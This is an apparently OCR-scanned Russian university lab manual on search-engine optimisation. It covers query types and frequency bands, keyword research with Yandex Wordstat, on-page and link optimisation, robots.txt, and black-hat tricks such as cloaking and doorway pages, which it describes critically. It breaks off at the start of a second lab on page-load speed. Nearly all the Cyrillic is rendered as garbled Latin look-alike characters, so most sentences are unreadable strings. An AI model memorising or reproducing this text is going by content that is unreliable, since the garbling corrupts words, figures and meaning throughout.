BBIJIEJISIFOT HECKOJIBKO TUIIOB IIOMCKOBBIX 3aITPOCOB:

1. HaBurannoHHble 3ampochl OCYIIECTBISIOTCS C LENbI0 IONACTh Ha
KOHKpPETHBIN caiiT. B 3TOM cilyyae MOMCKOBBIM ABUKOK BBIMOJHSET (QYHKLIUIO Teje-
(OHHOTO CIIpaBOYHHKKA AJIS TOJIH30BATENS, MHTEPECYIOLIEr0Cs KOHKPETHON KOMITAaHUEH,
nepcoHoi, coobiTieM. Takoro Tuma 3anpockl oueHb 3GHEKTUBHBI JIJIs BJIaJIeblia cailTa,
MOCKOJIBKY KJIMEHTa HWHTEPECYeT HMMEHHO 3TOT OpeHJ, HO OHM HE OYEHb XOpOIIO
OpUEHTHUPOBaHbl Ha HOBBIX KIMEHTOB. /[l BlajenbleB CTOPOHHUX PECYPCOB
OpUEHTAalLlMA Ha MOJI00HBIE 3alpOChl UHTEPECHA JIi MAPKETHUHIOBBIX MCCIIEOBAaHUH, a
TaKKe JUIsl OTBIIeYeHUsI Tpaduka oT KOHKypeHTa. [IpruMepsl HABUTallMOHHBIX 3alIPOCOB:
«bmmxkaiimmii 6ankoMar 0anka XXX», «3aperucTpupoBaThCsl Ha PeiC aBUAKOMIIAaHUHU
YYY», «KKynuth aboneMeHT B putHecueHTp ZZ72».

2. HNudpopmaninoHHble 3ampockl TOBOPSAT 00 HHTEpece IMOJIb30BaTeNs K
OTIpe/ICNIEHHON TeMaTuKe, HO He 00eHaroT AalbHEeHIMX TpaH3akuuid. C y4eToM Toro,
YTO MHTEPHET Ha CEroJHs /Ui MHOTMX JIIOJE€W 3aMEHSE€T KHUTM M DHIUKJIONEINH,
UH(OPMAIIMOHHBIE 3aIIPOCHl OYE€Hb YacTO CIYKAT JAJIs YJOBJIETBOPEHHUS JIFOOOIBITCTBA



WM OCBEXXEHHUA B MaMTH M0A3a0bIThIX cBeAeHMM. [IpuMepamu Takux 3ampocoB MOTYT
obITh: «Cronuua banrnanem», «KTo ucnomHun riaaBHyo pojib B cepuane ...», “Tomsl
xu3Hu @.M. JloctoeBckoro”. HecMoTpss Ha TO, 4TO MOA0OHBIE 3ampOCHl HE CYJIST
CHUIOMUHYTHBIE BBITO/IE B MPOJAXKE UM yCIyre, OPUEHTAIUS Ha HUX TOXKE MOXET OBbITh
MOJIe3HA, TMOCKOJbKY OHHM TIO3BOJISIIOT MPHUBJICYh MOCETUTENECH HAa CalT, IPUBIICYD
BXOJIAIINE CCBHUIKH, B JOJTOCPOYHON IMEPCHEKTHUBE MOTYT MPUBECTU K TPaH3AKIUSIM:
€CJIM BBl CO37aeTe CalT KHIKHOIO Mara3umHa, TO 3alpoc O Tojax »W3HMU MUcaTess
MO>KHO TIPUBS3aTh K HH(OPMAIIUU O MPOJIa’Ke KHUT €ro aBTOPCTBA.

3. T paH3akIMOHHBIE 3aIIPOCHI TOBOPST 00 MHTEPECE MOJIB30BATENS B KAKOK-TO
yCllyre WU TOBape - OH YK€ 3HAeT, 4YTO XOYeT, HO HE 3HAEeT, IJ€ 3TO CMOXKET
npuobpectu. TpaH3akiMOHHBIE 3ampochkl  HambOosee wumHTepecHbl i1 SEO-
POJBIKEHHUS, MOCKOJIbKY HX MPOIIE BCEro CBSA3aTh C YCIYrod WM TOBapoOM, Mpej-
CTaBJICHHOM Ha caiite. [IpuMepamu mogoOHBIX 3ampocoB MOTYT ObITh: «l' 7€ KymuTh
MUIILY B TOpoJE ....», «CTtouMocTs Typa B Eruner», «IIpogaxa cmaptdoHOB».

Brimie Obutn mepedrcieHsl OCHOBHBIE THIIBI 3aIIPOCOB, HO UMHU KiaccuuKarius
HE OTPaHMYMBACTCS. 3ampochl OBIBAIOT TAKXKE MYJIbTHUMEIUWHBIMH, T€03aBUCH- MBIMHU,
HEYETKUMH, afanTuBHBIMU. [logpoOHEEe O MOMCKOBBIX 3ampocax MOKHO MPOYUTATH B
[4].

[To yacToTe UCHOIB30BAHUS 3aIIPOCH] JENATCS Ha:

1.  Bsicokouactotnbeie (6osee 5 000 moka3oB B Mecsir). [logoOHbIe 3ampockl
OOBIYHO HOCST OOUIMI XapakTep, HE YTOUHSIOT HaMepeHus nocerurens. Hanpumep, mo
3arpocy «aBTOMOOWIb» (moutd 9 MIIH. MPOCMOTPOB B MeECAll IO JAHHBIM
wordstat.yandex.ru) HemoHATHO, XOYeT JIM WIIYNIMHA Y3HATh YCTPOWCTBO aBTOMOOWIIS,
npuoOpecT! WM NPOAATh €ro, O3HAKOMUTCS C HCTOpUed aBToMoOumiecTpoeHus. B
CBS3M C OJTHM TPOJABIDKEHHE IO TOMOOHBIM 3ampocaM BechbMa 3aTpyJHEHO, OH
MCIIOJNIE3YETCS] OONBIINM KOJTMYECTBOM KOMMIaHUM. bpaTh BEICOKOYACTOTHBIE 3aIIPOCHI B
CEMaHTHUYECKOE PO CaliTa UMEET CMBICI JIUIIh IS IPOABIKEHUS KOMIIAaHUH, BBIBOA
HOBOH yCJIyTH (TOBapa) Ha PbIHOK.

2.  Cpenneuacrotasie (o1 1500 mo 5000 moka3oB B mecsi). B Takux 3ampocax
MOCETUTEh YTOUHSET CBOM MHTEPEC, 3apPOC CTAHOBUTCS 00J1€€ KOHKPETHBIM, CY>KaeTCs
U €ro KOHKypeHTHocTh. Hampumep, 3ampoc «mpokar JErKOBOTO aBTOMOOWJIS» J1aeT
cratuctuky yxe B 2000 moka3oB B Mecsl, TaKOM 3ampoc OTCEKAaeT KOMIIaHHH,
3aHHUMAIOIIMECs. PEMOHTOM, MpoJaxel, crpaxoBaHueM aTomoOuis. Ho Bce paBHO
3aMpoc JOBOJIbHO MOMYJISIPEH U MOJABUHYTH KOMIAHHMM, J1aBHO 3aHUMAIOIIMECS 3TUM
BUJIOM JICSITEIBHOCTH, OYJIET HEMPOCTO.

3.  Huskouacrotusie (10 1500 moxaszoB B mecsi). OpueHTHUPYSICh HA TakKue
TUTIBI 3aMPOCOB, BbI TOYHO HAaWJIETe CBOEro KJIMEHTA, OH WIIET WUMEHHO TO, O 4YeM
HAIMCAHO Ha BallleM pecypce. 3/1ech BBICOKA BEPOATHOCTh KOHBEpCHH 3ampoca. OHaKo
MoI00HBIE 3aMPOChl HE MO3BOJSIOT MPHUBJICKATh MOJIb30BATENICH, HE 00IaIaloNnX eIle
CIIOKUBIIMMCS  TpEACTaBICHUEM O kemaeMoM ToBape  (yciyre). Ilpumep
HU3KOYACTOTHOT'O 3arpoca: «1o4acoBoil mpokaTt aBromoOums» - meHee 100 mokas3oB B
Mmecst. Ecnu caiiT pekmaMupyeT cpend Mpoyero 3Ty YCIyTy, TO HMCIOJIb30BAaHHE ITHUX
KITFOYEBBIX CJIOB MTO3BOJIUT BHIBECTH CAWT B TOI BbIJIa4€ M0 YKa3aHHOMY 3aIpocy.

OpueHTanus Ha KaXAbli U3 MEPEUNCICHHBIX BBIIIE THIIOB 3alPOCOB UMEET CBOU
3aJa4d B MPOJBIKEHUU, U OonbITHbie SEO-cnenuanucTsl peKOMEHAYI0OT KOMIOHOBATh
MOMCKOBBIE 3aMIPOCHI CIAEAYIOUIIM 00pa3oM:

. BU-3anpocsr: 10-15% ot o6miero unciaa MOUCKOBBIX 3aMpoCcOB, MO KOTO-
PBIM IIPOJIBUTAETCS CaWT,



. CY-3anmpocsr: 20-40% ot oO1iero uncia 3anpocos,

. HY-3ampocer: 45-70% ot o011ero yucia 3amnpocos.

3a cuer BU-3anpocoB MOKHO OXBaThIBaTh OOIIMIA CIIpOC TeMaTUKH pecypca, CU-
3anpocbl OyAyT MpUBIEKATh IMOCETUTENCH, MHTEpeCyIoUxXcs Oojiee KOHKPETHBIMU
HaIlpaBJIICHUSIMH, IIPEICTABICHHBIMM Ha caite, a 3a cuer BY-3anpocoB MOXKHO
OPUBOIUTH IEJNEBYIO ayAUTOPHUIO, YXKE TOTOBYIO K TIOKYNIKE HWMEHHO BalllUX
TOBapOB/YCIYT.

Omnpenenutp 4aCTOTHOCTD 3alPOCOB MIOMOTAIOT CIIEHUAIN3UPOBAHHBIE CEPBUCHI U
nporpaMMbl. OHUM U3 CaMbIX MOMYJISPHBIX HHCTPYMEHTOB (U MPU 3TOM OECIIaTHBIM)
3nech sisercs cepuc «llon6op cnosy ot Snpeke (Wordstat.yandex.ru

o

Anaexc

neatep enos

Decironsd MoSuneHee ToneKko Tenedons TONLKO TINaHWeTs! MNocneanee

obHoenerme: 23.08.2017

YTo uckanw co cnosBon 3anpockl, NOXoXME Ha
AKOMNbIOTEPHy — 9 810 194 nokasa AROMITBIOTED b %
8 Mecsy

wka no crosam Noxazoe & weoan T cnosam Nonssos 5 mecsu
133656
82 058
23034
35834

698 462
3 840 476

551 785

529554

509542

490 252
480178

477 478

483519

nnnnnn

Pucynok 3 - CepBuc «Iloadop cjoB» ot Snaekc.

JlaHHBINM CcepBUC IO3BOJISIET OLEHUTH YacTOTy TOTO WM HMHOTO 3ampoca 3a
MOCJEAHUN MeCSIl, a TaKXke MoAoOpaTh CXOXKHUE IO TeMaThKe 3anpockl. [lpu 3TOoM
MOYHO TOJy4aTh CTATUCTUKY C PETHOHAIBHBIM (PUIBTPOM, a TAKKE YUUTHIBATH THUIIBI
YCTPOMCTB, C KOTOPBHIX OBLUIM TMOJAHBI 3aMpPOChl. AHAJIOTUYHBIE CEPBHUCHI €CTh U Y
Google: Google AdWords (https://adwords.google.com/) wu  Google-tpeHms
(https://trends.google.com/trends).

Eme ogHOM Ba)XHOW XapaKTEPUCTUKOW 3aIpoca SBJISIETCS €r0 KOHKYPEHTHOCTD.
OTOT MOKa3arejib MOXKHO OLIEHUTh IO KOJIMYECTBY CTPOK B TOMCKOBOW BbIJIaue,
KOTOPBIM BBIJACT ITIOMCKOBBIM JBHKOK B OTBET Ha 3ampoc. {DaKTUYECKH, OBTOT
MOKa3aTesb ONPEAENAET, HACKOJIBKO KIIIOUEBBIE CIIOBA M3 ATOTO 3alpoca MpPeaCTABICHBI
Ha CTpaHUIaxX PECYpCOB-KOHKYPEHTOB. Haritn BBICOKOYACTOTHBIM, HO
HU3KOKOHKYPEHTHBIN 3aIpoc, COPUEHTUPOBATh HAa Hero SEO-mpoaBmwkenne u OBICTPO
BBIWTH K BEpIITMHAM BbIIauu - MeuTa Jroooro SEO-cnenuanucra.

Paccmotpum anroputm SEO-ontumusaiiuun Web-pecypca Ui MOBBIIICHHS €10
MO3UIMK B TIONCKOBOM BbIJaye.

1. [TogoOpats cemantuueckoe siapo. Ha »3TomM »3Tame HeoOXoauMO
MPOAHAIM3UPOBATh TEMATHKY PECYpCa, ONPEAECIUTh T€ KIKOUEBBIE CIIOBA, IO KOTOPBIM
BBl XOTeNU Obl, YTOOBI Balll CANUT MOSBISUICS KaK MOKHO BBIIIE B BbIJa4e MOUCKOBBIX
JIBKKOB. BhIOpaHHBIE KIIIOUEBBIC CIIOBA HEOOXOAWMO IMPOBEPUTHh HAa YACTOTHOCTh U



https://adwords.google.com/
https://trends.google.com/trends

KOHKYPEHTHOCTh C HCIIOJh30BAHUEM YK€ YITOMHUHABIIUXCS WHCTPYMEHTOB «llombop
cioB» ot Suaekc m Google-tpenapl. [ Kakmoro BBIOPAHHOTO 3alpoca MOYKHO
moo0paTh TMOXOXHE 3alpoChl, OIEHUTh WX YaCTOTHOCTh W OCTAaHOBUTHCS Ha
nponopuusix 10-15% BY, 20-40% CY, 45-70% HY.

2. BeiOop cTpaHun Uil OPOJABHMKEHHUS caiiTa, KOTOpPbIE B JaJbHEHIIEM
TJIAHUPYETCS HACHIIATH KITFOYEBBIMHU CJIOBAaMHU, BHYTPEHHUMHU M BHEITHUMHU CCBHUTKAMH.
Ha »TOoM 3Tame MOXHO BBITIOJIHUTH KJIACTEPHU3AIMIO 3alPOCOB, BBIACIUB OTICITHHBIC
TPYIIBI KIIOYEBBIX CJIOB M CBS3aB T€ WJIM WHBIE CTPAHMIBI C OTACIBLHOW TPYIIION
KJIFOUEH, ONNTUMHU3UPOBATh UX JIJIs1 00ECIIeYeHUs PEIEBAHTHOCTH IO 3TOM TpyIIIE.

3. SEO-komnupalTUHT. DTOT 3Tam 3aKII0YaeTcs B HAMMCAHUU TEKCTOBOIO
KOHTEHTa, B KOTOPOM IMPOILIEHT BXOKJICHHS CIIOB M3 CEMAHTHUYECKOro sifpa obecrie-
YUBAET PEJICBAHTHOCTH IEJIEBBIM 3allpocaM U IMPH 3TOM HE MEPEerpy’ eH KII0UueBbIMU
cioBamu [5]. [IpoBepuTh KauecTBO TEKCTa MOYKHO Pa3IMYHBIMU CEPBHUCAMHU, HAITPUMED,
https://text.ru/seo, https://istio.com wmu https://advego.ru/text/seo.

4, [IpoBenenne TexHuueckoro ayauta (aHanu3a) caita. Ha ganHoM stame
poBepsieTcsl KOPpeKTHOCTh html-pasmerkn, Hanmuuue W NPaBHILHOCTH (HaiiioB rO-
bots.txt u sitemap.xml, BeisgBiIAIOTCS OMMOKU ¢ KojgoM 404, OuThIe CCHUIKH, JTyOJIH-
pOBaHUE KOHTEHTA, IPOBEPSETCS KOPPEKTHOCTh PabOThI HABHWTAIUW, TPABHIBHOCTH
(YHKIIMOHUPOBAHUS OTACIBHBIX OJOKOB, aHAJIU3UPYETCS CKOPOCTh PabOTHI cepBepa.
[lepmomuyueckn TIOJNIE3HO BO3BpAIIAThCI K JaHHOMY IMary, TaK Kak W3MEHCHUS,
BHOCHUMBIE B CTPYKTYPY, KOJ WJIM KOHTEHT CaliT MOTYT OTPULIATEILHO CKAa3aThCs Ha €ro
TEXHUYECKUX MapaMeTpax.

5. SEO-ontumusanus MHTEpHET-CTPAHMIL 0] TIOMCKOBBIE 3ampockl. Ha aTom
JTame BHEIPSIOTCS KIIOYEBBIE CJIOBA B 3HAYUMBIC IS TMPOJABMKCHHUS TO3ULUUA U
CTPYKTYpHBIE 3JIeMEHTBI pecypca (term u Metareru title, description, keywords,
3arojioBku h1-h6), BHeapenue UIIY-agpecaruu A CTpaHUI[ CaliTa, BBIMOJHACTCS
BHYTPEHHSISl MEPENMHKOBKA caidTa. [lepennHKOBKON caiiTa 00eCleuynBaeT CBSI3bIBAHUE
CTpaHMI] OJHOTO CalTa WM Pa3HBIX PECypCcoOB THmepcchuikaMu. OHa MPUMEHSETCS IS
MOBBIIICHUST PEJICBAHTHOCTH CTPAHUI[ cCaiiTa 3ampocy B TOMCKOBBIX CHCTEMaXx,
YBEJIMYCHHS CTATUYECKOTO Beca CTPAHUI[ 32 CUET KOJUYECTBA BXOJMAIINX CCHUIOK Ha
CTpaHWITy, YCKOPEHHWs WHICKCAlUM BHOBH IOSBUBIIHUXCS CTPAaHMI[ CalWTa 3a CUeT
nepexoaa podoTa MO CChUIKAM Ha HOBBIC CTPAHMIIBI, MPEAOTBPAIECHUS TyOJIMPOBAHUS
KOHTEHTA, YJIYYIICHHs F03a0WINTU caiiTa 3a cueT OoJbIliel CBSI3HOCTH cTpaHull. Eciu
CBS3BIBAHUE OCYIIECTBISIETCS MEX]y CTpPAaHHMIIAMH OJIHOTO pecypca, TO MMEET MECTO
BHYTPCHHSISI TIEPEIMHKOBKA, €CIM CCBUIKM BEIyT Ha CTOPOHHHE PECypChl -
MepeIMHKOBKAa Oyner BHemmHei. [locTpanwuHas mnepennHKoBKa (Kaxkaash CTpaHUIa
CCBUIACTCS HA BCE OCTAJbHBIC) MOAXOAMWT JJII HHU3KOYACTOTHBIX 3alpPOCOB (pPEIKO
UCIIOJIB3YEeMbIX) U CPEIHEYaCTOTHBIX. OHA MO3BOJISIET ONTHUMAIBHO PACTIPECIUTh BEC
caliTa - paccpeOTOYHMTh €TI0 B HYXHBIX IPOMOPIUAX W Ha HYXHBIX CTpPaHHIIAX.
Nepapxnueckasi mepeTMHKOBKa (TJIaBHAs CTPAHMIIA CChIIACTCS HAa CTPAHUIIBI Pa3iciioB
WM KAaTerOpHid, a YK€ T€ BEAYT HAa KOHKPETHBIC CTaThbH) MPUBOAMT K TOMY, YTO
KOHEUYHBIC Y3JIbI-CTPAHUIIBI JIepeBa UEPAPXHUI CCBHUIOK IMOJIY4YaloT OYCHb MaJIbIii BEC U
J10X0 TpoaBuraroTcs. [Ipu mpoBeieHrH BHYTPEHHEH MTEPETMHKOBKY BaYKHO HATIOJHUTH
MIPOJIBUTAEMYIO T10 OTIPEICTICHHON TPYIIIE 3alpOCOB CTPAHMUITY BXOISIIMMH CCHIITKAMH C
JIPYTUX CTPAHWUII CaiiTa, MPUUEM TEKCThI CCHUJIOK JOJDKHBI OBITH PEJIEBAHTHHI 3ampocy,
TO €CTh COJIepPKaTh aHKOPHBIA TEKCT CO CIIOBAMHM U3 3ampoca. Eciii B Ka4ecTBe CChUIKU
UCIIOJIb3YETCS M300pakeHre, KIOYCBUKAMU UMEET CMBIC] HAmloOJHHUTH atpuoOyT alt, B



https://text.ru/seo
https://istio.com/
https://advego.ru/text/seo

COOTBETCTBHUM C aJNTOPUTMaMU  DPAHKUPOBAHUS TMOUCKOBBIX CHCTEM  JIydIlle
OpraHU30BbIBATh CCHUIKH CO CTpaHHI, oTBevaromux 3a HY 3anpocel (koTopeie caMu 1o
ceOe TOJDKHBI TIOJIYYUTh BRICOKHI PaHT TIPH MPAaBHWJILHOM KOHTEHTHOM HAIOJIHCHHH ), Ha
ctpanuibl ¢ BU u CY cTpanunamu, yBeJIM4MBasi TEM CAMBIM UX PaHT.

6. Bremmnsst SEO-ontumuzamnus pecypea. [l ee mpoBeneHuss HEOOXOAMMO
MIPOBECTH BHEIIHIOIO MEPETMHKOBKY caiiTa, 00eCIIeYuTh €ro MPOJABUTAaEMbIE CTPAHMIIBI
KauyeCTBEHHBIMU BXOJSIIMMHU CChUIKAMH IIyTeM 3aKyNKH CCHUIOK Ha OHpKe,
O0aHHEpOOOMEHY, MPOJBMIKEHUIO B COIMAIBHBIX CETSIX, Ha Qopymax U Osorax.
Heobxoaumo 3aperucTpupoBath pecypc B KaTajorax MOUCKOBBIX CHCTEM (TaKMX Kak
Sunekc-Karamor, DMOZ, Rambler-Topl00 u ap.). He cToMT CHIBHO YBJICKAThCS
3aKyMKON CCHUIOK U CIEIUThH 32 KaYECTBOM CaWTOB-JIOHOPOB, MHAYE BHEIIHHUE CCHUIKU
MOTYT ChIFpaTh B MUHYC O0IIIEMY paHTy caifTa.

1. VYirydmienue 1o3a0uinuTH caita. Takwe oOmme s pa3pabotkm Web-
pecypca mMOXelaHus, Kak oOecrneueHue KpoccOpay3epHOCTH, 3(PGEKTUBHOCTH HC-
MOJIB30BaHUsI PECYpPCOB, PpabOTOCIOCOOHOCTH (PYHKIIMOHANIA, yA0OCTBAa HaBUTaIlMs,
MPUSATHOTO JH3aifHa KOCBEHHO CKAXYTCS W Ha TOWCKOBOM IIPOJIBIDKCHHH (XOTS OBI
yepe3 MOBEACHUECKHE (PaKTOPbl PAaHXKUPOBAHUA).

PaccMoTpeHHBIN anropuT™M MCHOJIB3YET JHUIIb caMble 0a30Bbie moaxonabl Kk SEO-
ONTHUMM3ALMU caiiTa, MpodecCHoHaNbl ONEPUPYIOT Tropa3fao Oojiee MOIIHBIMU
MHCTPYMEHTaMH U MeTofaukamu. OHAKO, BBITIOJHUB JaKe 3TH IIard, MOXHO JOOUTHCSA
pocTa MO3UIMI caiiTa B BblJaue MOUCKOBBIN cucteM. K Tomy ke 310 OyAyT peanbHbIe
mard B JTOM TMEpPCIEKTUBHOM Ha pBIHKE TpyJa HANpPaBICHUH, OHU IO3BOJIST
chopmupoBath (GyHIAMEHT OYIYIIUX OMBITOB M OTKPHITUH B OOJACTH MOMCKOBOTO
NPOABIIKEHHST WED-pecypcoB.

B nponiecce ocBoenns SEO-mMeToauk HauMHAOIIME CTAIKMBAIOTCS ¢ COOJIa3HAMHU
UCIIONIb30BaHUs 4epHOTO U ceporo SEO - psima MEeToauK U MpUEMOB, KOTOPhIE KaXKyTCs
MEePCIEKTUBHBIMUA M HA KAKOM-TO JTalle JIaxe ABISIOTCS Y(PPEKTUBHBIMU B PE3yJIbTaTaX
MIPOJBMKEHUH, HO TI0 CYTH COBEH SBJISIFOIIMMHMCS TONBITKOH OOMaHyTh IOHMCKOBBIM
JBUYKOK M UCKYCCTBEHHO YBEJIHMYUTh BEC CBOEro pecypca. Pa3paboTuMKU MOMCKOBBIX
cucteM OOpIOTCS C MOJOOHBIMH METOJAMHM W HAKJIAAbIBAIOT CAHKIMM Ha CAMTHhI,
3aMCUCHHBIC B HEYECTHOM TMPOJBIIKEHWW BILIOTH 0 HCKIIOYECHHS W3 HHACKca. K
yepraoMy SEO oTHOCHT:

- UCIIOJB30BaHUE CKPBITOrO TekcTa (uBeT mmpudra u  poHa TEKCTa
COBIAAAIOT, TEKCT pACIOJIOXKEH B OJIOKE, KOTOpbI BECh WJIM YaCTUYHO HEBUIUM,
UCIIOJIB3YETCsl OUEHb MaJIbIid MIPUPT);

- MOWCKOBBIM  poOOTaM ¥  TOCETUTEISIM  caiiTa  JEMOHCTPUPYIOTCS
pa3JIMuHbIEe BEpCUM pecypca (KIIOAKUHT);

- aBTOMAaTHUYECKasl peructpaiys (IporoH) Mo MHOKECTBY KaTaJlOTOB;

- aBTOMATUYECKasl TeHEPAIHs TEKCTOB, aBTOMAaTHIYECKUN OOMEH CCHUTKAMU;

- OCYIIECTBIISITH CIIaM;

- co37aHue JAOPBEEB - HEOONBIIUX CAWTOB, HAMIOJIHEHHBIX OECCMBICIEHHBIM
KOHTEHTOM C BBICOKOW MI0oTHOCThI0O BYU- m CU-3ampocoB W mocieayoliee nepeHa-
npasjeHue Tpaduka ¢ HEro Ha pealibHbIN pecypc;

- CO3JIaHME CETH CATE/UIMTOB - TPYII CBsA3aHHBIX WeD-cepBepoB, koTophie
COBMECTHO MPOJBUTAIOT OJIMH LIEJEBOM pecypc.

Cepoe SEO 3aHnMaeT mpoMeKyTOUYHOE MECTO MEXKY MOJHOCTHIO Pa3pelIeHHbIM
OenpiM U 3ampemieHHbM 4epHbIM. K cepomy SEO-oTHOCHTCS B TOM 4YHCIE 3aKyIKa



BHEITHUX CCBUIOK, KOTOpas HE NPUBETCTBYETCS ITOMCKOBBIMH MAaIllMHAMH, HO 0e€3
KOTOpPO Ha IMpaKTUKE, C yYETOM €€ IOBCEMECTHOrO WCIOJIh30BaHUS, OYCHb 3a-
TPYAHUTEILHO OyAeT 000WTH KOHKYpeHTOB. [IpakTndecku Bce Mepnl BHemHero SEO-
MPOJABMKCHHUSI MOXHO, KOTJa PEIyTallHI0 CBOEMY CalTy B BHJE CTaTCH, CCHUIOK,
OT3BIBOB, BIIAJENBIIBI WHUIMUPYIOT CaMH, MOXXHO OTHecTH K cepomy SEO, pas-
pabOTYMKN TIOMCKOBBIX JBM)KKOB CTapalOTCs IPECeKaTh IMOJA00HBIC METOJBI HaKpy-

YUBAHUS PEUTUHTA U UX UCTIOIb30BAHUE TOJDKHO OBITh YMEPEHHBIM.
IMopsiaok BbINOJIHEHHS PadOTHI.

OcHoBHas 3aava J1abopatopHOW padboThl - mpoectn SEO-onTummsanmio Web-
caiita, pa3pabOTaHHOIO B paMKax MpeaplIylux jgadopaTopHbix pabor. C yderom
y4eOHOro xapakTepa pa3pabOTaHHOTO pecypca HEOOXOJUMO COCPEJOTOYUTHCS Ha
BHYTpeHHUX (pakTopax. it 3TOro He0OX0JUMO BBITIOIHUTH CIEAYIONINE IIIaru:

1. BriOpars cemanTuueckoe sApo caita. C HCIOIB30BAHHEM OJHOIO U3
CHELMATIM3UPOBAHHBIX cepBUCOB (Hampumep, «Ilombop cinoB» oT SHaekc) BbIOpaTh
HECKOJIBKO KJIFOUEBBIX CJIOB 0 TeMaTuKe caiita. CBECTH BbIICIICHHBIE CJI0BA B TAOJIHUILY:

No KroueBbie Tun [Ipornosupyemas 4acToTa) KOHKYpPEHTHOCTE
cjoBa (HY, CY, BY)| nosiBnenus (1o TaHHBIM (o BeIIaue
cepBuCca) MTOMCKOBOM
CHCTEMBI)

B cemanTtuyeckoe sanpo Bkimounth 1-2 BU 3ampoca, 3-4 CY 3ampoca u 5-6 HU
3anpocoB. Ta0auIyy BKIOYUTE B OTYET MO JIaOOpaToOpHOU padoTe.

2. BoeiOparh cTpaHuily caiita, KoTOopas OyJeT OCHOBHOW MpOABUIAEMOMU
(MoxHO orpaHuunThecsi onHOW). IIpoBectn SEO-komupalTWUHT - COCTaBUTH TEKCT
CTpaHUIBI TaKUM O0pa30oM, YTOOBI BXOXKJIEHHE KIIOUEBBIX CJIIOB B TEKCT COOTBET-
CTBOBAJIO TPEOOBAHMAM IO TOKA3aTENsIM PEICBAHTHOCTH M TOIIHOTHOCTU. [IpoBepky
OCYIIECTBIISITh C HCIOJNB30BAHUEM CICIMATU3UPOBAHHBIX CEPBUCOB (HAIpUMED,
https://text.ru/seo, https://istio.com wiu https://advego.ru/text/seo). PesynbTaT npoBepku
BKJIFOUUTH B OTYET 110 JIaOopaTOpHOU padoTe.

3. HacpITUTh KIJIFOUEBBIMH CIIOBaMHU 3HAUYMMBIE JJIsl IPOJABUKECHUS TTOZULIMH U
CTPYKTYpHBIE BJIEMEHTHI cTpaHuilbl (Tern u wmertateru title, description, keywords,
3arojoBku h1-h6). BBIMOMHUTE BHYTPEHHIOK MEPEIUHKOBKY CalTa C IEJIbIO
MPOABUKEHUSI BBIOPAHHOM CTpaHUIIBI.

4. J1o0aBUTh Ha MPOJBUTAEMYIO CTPAHUILy HECKOJBKO CCBHUIOK Ha aBTOPH-
TETHBIC PECYPCHI CXOKEU TEMATHKH.
5. Cosznath (aitn robots.txt, B KOTOpoM [jisi OCHOBHBIX ITOMCKOBBIX pOOOTOB

Slanexc n Google 3anmpeTuTh WHACKCAIUIO CTPAHUI] PETUCTPAIMHA M ayTeHTH()UKAIIUN
I10JIb30BATEIIEH.

6. PexoMeHI0BaTh MOMCKOBBIM JBHKKaM IMOBTOPHO IMOCEMIATh CAalT HE dalle
OJIHOTO pasa B HEEII0, PA3PELIUTh UM MEPEXO/I [0 CChUIKaM Ha CTPAHULIAX CalTa.

1. [lokazaTe mpemomaBarento  pesynbrar paborel B Buime SEO-
ONTUMHU3UPOBAHHOTO cauTa

8. [IpenoctaBuTh mpenoaBaTeNto OTYET MO Ja0OpaTOpHOIl paboTe, OTUYUTATH
nabopaTopHyto paboTy.


https://text.ru/seo
https://istio.com/
https://advego.ru/text/seo

ConepkuMoe NOSICHUTEIIbHOM 3aMUCKHU.

1. TUTYIBHBIN JTUCT

2. Ha3zBanue u nienp 1a00patopHOil paboThI

3. Pe3ynbrathl BBIOOpa CEMAaHTUUYECKOTO S/Ipa B BUAE TAOJIUIIBI

4. Pe3ynbrarhl aHamm3a 4acTOTHl BXOXICHUS KIIFOUEBBIX CJIOB B TEKCT Ilelie-
BOW CTPaHUIIbI

5. html-kox npoaBuraemoii cTpaHuIIbl

6. Conepxumoe ¢aitna robots.txt

Cnucok peKkoMeH1lyeMbIX HCTOYHHKOB

1. Omucanue  ¢aiima  robots.txt wa cepBuce  «Snmekc-ITomomby.
https://yandex.ru/support/webmaster/controlling-robot/robots-txt.xml

2. https://www.sitemaps.org - oduuanbHbIi cadT o Qopmare daiia
sitemap.xmi

3. SEO-uckycctBO packpyTku caittoB. 2.9mxk, C. Cnencep, P. ®umkun, /.
Crpukunomna. CI16.: BXB-IlerepOypr, 2014. - 688c.

4, HckycctBo mponBukenust caiira. [lonubiit kypc SEO ot uaen 10 nepBbix

kiueHToB. K. ['opsie. M.: Undpa-Unxenepus, 2017. - 268 c.
5. SEO-konupaittunr. IlpakTudeckoe pyKOBOJCTBO IO CO3JaHHIO 'Tpa-
BWIbHBIX" TekcTOB. K. XpanoBuukuii. M.: Hayka u Texnuka, 2014r. - 304c.

2. JlaGopatopnas padora «HcciienoBanue cnoco00B YCKOPeHHs 3arpy3Ku
caiToB»

[enp paboThl: HccaeA0BaTh CIOCOOBI YCKOPEHHUSI 3arpy3KH BEO-CTPaHULL.

BBonHbIe (akThl

B nepBytro odepenr CKOPOCTh 3arpy3Ku BIUSET Ha TMOBEICHUYECKUE (DAKTOPHI:
MIyOMHY MPOCMOTpPa M KOJIMYECTBO OTKAa30B. Y OBICTPHIX CAWTOB BHIIIE MOKa3aTeNb
KOHBepCcUHU. Takke OT CKOPOCTH KOCBEHHO 3aBUCHUT YCIIE€X MOMCKOBOTO MPOABUKECHUS:
pu pouux paBHbIX GOOgle yunuThIBacT BpeMs 3arpy3Ku CTPaHHUIIBL.

Wmxenepsl GOOQle BBISCHHIIM, YTO IMOJIB30BATEIb 3aMedacT JaKe MyCTSIKOBYIO
3a1epKKy 3arpy3ku — 0,4 ceKyHJIbI;

[Tonp3oBaTens ¢ OOJBIIOW BEPOSTHOCTHIO TOKWHET CTPaHUIly, €CIU Ta
3arpyskaercs 3+ CeKyH[I;

MoOusbHbBIE TIOJTE30BATENI TOTOBHI JK/1aTh HEMHOTO JoJibiiie — 6-10 cexyH;

79% monb30BaTeNield MHTEPHET-MAra3uHOB HE CJENIal0T MOBTOPHYIO IOKYIIKY,
€CJIM B IIEPBBIN pa3 CalT 3arpyKajcs JI0Jro.

Okcnepument Financial Times

[IpencraBurenu [€JIOBOM Ta3eTbl IMPOBENU 3KCIEPUMEHT C HOBBIM CalTOM
W31aHUsL.

Y4acTHUKOB MOJAENIUIN Ha JIBe rpymnmbl. [lepBas, KOHTposibHAs, MpocMaTpHUBaja
CTPaHHMIIBI C OOBIYHON CKOPOCTBHIO 3arpy3KH, a BTOpasi — C 3aJeP>KKOU B MATHh CEKYH]I.
Bo BTOpOM 3Tarne mpUHSIIM Yy4acTUE YK€ YEThIpe TPYyMHIbl: KOHTPOJIbHAS U €l TpH,
